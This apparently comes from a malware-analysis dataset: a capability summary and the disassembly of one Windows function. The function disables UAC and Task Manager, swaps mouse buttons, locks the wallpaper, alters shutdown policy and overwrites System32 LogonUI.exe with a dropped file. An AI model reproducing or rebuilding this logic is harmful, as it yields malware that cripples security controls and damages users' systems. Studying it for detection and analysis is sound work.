Function at 0x405080
Capabilities:
Copy file
Delete file
Disable system features via registry on windows
Get common file path
Hide shutdown actions via policy
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, str.C:hello.jpg
mov ecx, 0x6b
call fcn.00405500
mov edx, str.C:WindowsReg.bat
mov ecx, 0x6c
call fcn.00405500
mov edx, str.C:WindowsLogui.exe
mov ecx, 0x6d
call fcn.00405500
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x214]
push eax
push 0xf003f
push 0
push str.Control_PanelMouse_
push 0x80000001
mov dword [ebp - 0x210], 1
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [ebp - 0x210]
push 4
push eax
push 4
push 0
push str.SwapMouseButtons
push dword [ebp - 0x214]
call esi
push dword [ebp - 0x214]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
lea eax, [ebp - 0x214]
mov dword [ebp - 0x210], 0
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem_
push 0x80000002
call ebx
push 4
lea eax, [ebp - 0x210]
push eax
push 4
push 0
push str.EnableLUA
push dword [ebp - 0x214]
call esi
push dword [ebp - 0x214]
call edi
lea eax, [ebp - 0x214]
mov dword [ebp - 0x210], 1
push eax
push 0xf003f
push 0
push str.Control_PanelDesktop_
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x210]
push eax
push 4
push 0
push str.AutoColorization
push dword [ebp - 0x214]
call esi
push dword [ebp - 0x214]
call edi
push 1
push str.C:0.jpg
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
lea eax, [ebp - 0x214]
mov dword [ebp - 0x210], 1
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktop_
push 0x80000002
call ebx
push 4
lea eax, [ebp - 0x210]
push eax
push 4
push 0
push str.NoChangingWallPaper
push dword [ebp - 0x214]
call esi
push dword [ebp - 0x214]
call edi
call fcn.00404bd0
call fcn.00404970
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
mov esi, 0x1e
nop word [eax + eax]
call fcn.00404970
sub esi, 1
jne 0x405250
lea eax, [ebp - 0x214]
mov dword [ebp - 0x210], 1
push eax
push 0xf003f
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem_
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x210]
push eax
push 4
push esi
push str.DisableTaskmgr
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x214]
call edi
call fcn.00404ec0
push esi
lea eax, [ebp - 0x214]
mov dword [ebp - 0x210], esi
push eax
push esi
push 0x20006
push esi
push esi
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x210]
push eax
push 4
push esi
push str.shutdownwithoutlogon
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x214]
call edi
call fcn.00404da0
call fcn.00404d10
push str.C:WindowsSystem32LogonUI.exe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x405314
call esi
push 0
push str.C:WindowsSystem32LogonUI.exe
push 0x4099d4
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40532c
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004064e9
mov esp, ebp
pop ebp
ret